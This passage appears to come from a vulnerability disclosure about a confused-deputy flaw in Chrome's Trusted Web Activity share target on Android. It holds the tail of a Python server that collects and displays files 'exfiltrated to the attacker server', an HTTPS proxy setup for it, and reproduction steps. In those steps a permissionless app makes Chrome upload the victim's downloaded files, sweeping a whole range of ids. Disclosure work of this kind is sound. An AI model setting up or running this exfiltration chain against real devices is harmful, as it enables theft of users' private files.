return self._send(200, open(fp, "rb").read(), ct, extra)
return self._send(404, "not found")
if path == "/":
return self._send(200, self._gallery())
return self._send(404, "not found")
def _meta(self, disk):
mp = os.path.join(CAPDIR, disk + ".meta.json")
if os.path.exists(mp):
try:
return json.load(open(mp))
except Exception:
return None
return None
def _gallery(self):
rows = []
e = html.escape
metas = sorted((f for f in os.listdir(CAPDIR) if f.endswith(".meta.json")), reverse=True)
for m in metas:
d = json.load(open(os.path.join(CAPDIR, m)))
disk = d["disk"]
view, dl = "/captured/" + disk, "/download/" + disk
is_img = str(d.get("content_type", "")).startswith("image/")
thumb = (f'<a href="{view}" title="open"><img src="{view}" alt="" '
f'style="width:120px;height:120px;object-fit:cover;border:1px solid #888"></a>'
if is_img else
f'<a href="{dl}" style="display:inline-block;width:120px;height:120px;'
f'line-height:120px;text-align:center;border:1px solid #888;color:#555">file</a>')
rows.append(
"<tr>"
f"<td>{thumb}</td>"
f'<td><a href="{dl}"><b>{e(d["orig_filename"])}</b></a><br>'
f'{d["size"]:,} bytes · {e(d.get("content_type",""))}<br>'
f'<a href="{dl}">⇩ download</a> <a href="{view}">view raw</a></td>'
f'<td>{e(d["received"])}<br>from <code>{e(mask_ip(d["source_ip"], STATE["privacy"]))}</code><br>'
f'form field <code>{e(str(d.get("field")))}</code></td>'
"</tr>")
n = len(rows)
body = "".join(rows) or "<tr><td colspan=3><i>Nothing captured yet.</i></td></tr>"
return (
"<!doctype html><meta charset=utf-8><title>Files exfiltrated to the attacker server</title>"
"<style>body{font:15px/1.5 system-ui;margin:2rem auto;max-width:900px;padding:0 1rem}"
"table{border-collapse:collapse;width:100%;margin-top:1rem}"
"th{text-align:left;border-bottom:2px solid #333;padding:8px 12px;font-size:13px}"
"td{border-top:1px solid #ddd;padding:12px;vertical-align:top}"
"a{color:#0b57d0}code{background:#eee;padding:1px 4px;border-radius:3px}"
".n{font-weight:700}</style>"
"<h1>Files received by the attacker server</h1>"
"<p>Each row is a file Chrome uploaded from the victim device via the Trusted Web "
"Activity share target. The attacker's app holds <b>no permissions</b> and cannot read "
"these files itself; Chrome read them under its own identity and POSTed them here. "
"Click a filename to download it.</p>"
f'<p><span class="n">{n}</span> file{"" if n==1 else "s"} captured. '
'<form method="post" action="/reset" style="display:inline" '
'onsubmit="return confirm(\'Delete all captured files?\')">'
'<button style="margin-left:8px">Clear all captures</button></form>'
'<form method="post" action="/privacy" style="display:inline">'
f'<button style="margin-left:8px">Privacy: source IP {"HIDDEN" if STATE["privacy"] else "shown"}</button>'
'</form>'
f'{" <small>(IPs redacted in this view; real values kept in each capture’s meta.json)</small>" if STATE["privacy"] else ""}'
'</p>'
"<table><tr><th>preview</th><th>file</th><th>received</th></tr>"
f"{body}</table>")
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8099
socketserver.TCPServer.allow_reuse_address = True
print(f"PoC capture server on 127.0.0.1:{port} (captured/ -> {CAPDIR})")
socketserver.TCPServer(("127.0.0.1", port), H).serve_forever()
Front it with HTTPS on your domain. Our reproduction used nginx with a Let’s Encrypt certificate (any valid public cert satisfies Chrome’s DAL check). Obtain the cert once with certbot, then proxy the whole origin to the loopback server inside the 443 server block — poc_server.py serves everything (assetlinks, /exfil, and the gallery), so the proxy is a catch-all location / plus /exfil:
certbot certonly --standalone -d <your-domain> # issues the Let's Encrypt cert used below
server {
listen 443 ssl;
server_name <your-domain>;
ssl_certificate /etc/letsencrypt/live/<your-domain>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<your-domain>/privkey.pem;
location /exfil { proxy_pass http://127.0.0.1:8099; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
location / { proxy_pass http://127.0.0.1:8099; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
}
Then set the app’s “Attacker origin” field to https://<your-domain>. Uploaded files land in ./captured/ and appear in the gallery at https://<your-domain>/. (If you re-sign the APK, replace the fingerprint in the assetlinks.json above with your apksigner verify --print-certs SHA-256.)
Steps to reproduce
Prerequisites:
- The attached
chrome-sharedeputy.apk, which declares no permissions (see attached screenshot) - The attacker HTTPS origin described above.
- A file downloaded through Chrome, to supply a Chrome-owned
MediaStore.Downloadsrow.
Note: For triage reasons, its recommended to have only a small number of testing files in the Downloads directory. However, this can also be used on a device that has many files but this takes longer and will often look like there are no files at all.
My testing server is still live but will be switched off in 30 days. Please click clear when done, and don’t submit sensitive files to the server as I can’t be held responsible for what happens to those files.
- Install the PoC app to an Android device that has the latest version of Chrome installed
The PoC app, requires no permissions including file read rights.
-
Set the app’s “Attacker origin” field to your origin, and note a Chrome-owned download.
-
Press “1. Prove THIS app cannot read it”
The app queries the same URI from its own uid and is refused — the row is invisible to it:
control: ROWS 0 (0 = this app cannot see it)
This just proves the installed PoC app is not able to see files or point them to a server by itself.
- Press “2. Make Chrome exfiltrate one file”.
(No known file id? Press “3. Sweep & exfiltrate a whole id range” instead — it hands Chrome ids 0–100 in one share and returns whatever exists, so reproduction needs no prior knowledge of any id; the _id=80 in our example). You may have to play around with the ranges to get it to work.
The app binds Chrome’s CustomTabsService, opens a session, calls validateRelationship, and on the verification callback launches the TWA share. Chrome fetches the assetlinks file and then POSTs the file to the attacker origin:
GET /.well-known/assetlinks.json HTTP/1.1 200 (Chrome, Android — DAL check)
POST /exfil HTTP/1.1 200 (multipart body: filename + full bytes)
- Observe the file arrive at the attacker origin.
Open the attacker origin (https://<your-origin>/) in a browser: the provided poc_server.py
renders a gallery of everything it received, so the victim’s file appears — rendered inline — with
its filename, size, MIME type and timestamp. In our run the page showed pixel3.jpg, 154,165 bytes,
image/jpeg, Chrome/151 Mobile. The /exfil handler also logs the raw multipart/form-data body
carrying the filename and the complete bytes:
POST /exfil Content-Length: 154710
Content-Type: multipart/form-data; boundary=----MultipartBoundary--...
...
Content-Disposition: form-data; name="file"; filename="images.jpg"
Content-Type: image/jpeg
<full 154165-byte JPEG>
TOTAL BODY BYTES: 154710
The app’s own uid received ROWS 0 for this URI in step 3; Chrome read it and uploaded it.
- Enumerate the whole download history without knowing any identifier.
The attacker does not need to know a file id. MediaStore.Downloads rows are sequential integers, and a single share carries a list of URIs (KEY_URIS), so pressing “3. Sweep & exfiltrate a whole id range” hands Chrome content://media/external/downloads/0..100 in one request.
Chrome reads every URI it can and returns each existing file as its own multipart part, silently skipping empty ids. In our run one sweep returned two files in a single POST — images.jpg and TEST SECRET DOC.pdf. It is likely, that an actor would be able to tighten the code ran from the PoC to run at random intervals and persist the attack against the user.
Attack scenario
An application installed with no permissions, together with a web origin the attacker controls, causes Chrome to read files only Chrome can open and transmit them to that origin.
- obtain the user’s Chrome-downloaded files — names and contents. The app’s own uid is refused the row (device-verified
ROWS 0); Chrome reads it and uploads it. A single share carries a wholeMediaStore.Downloadsid range, so the download history is enumerated in one request with no file id known in advance.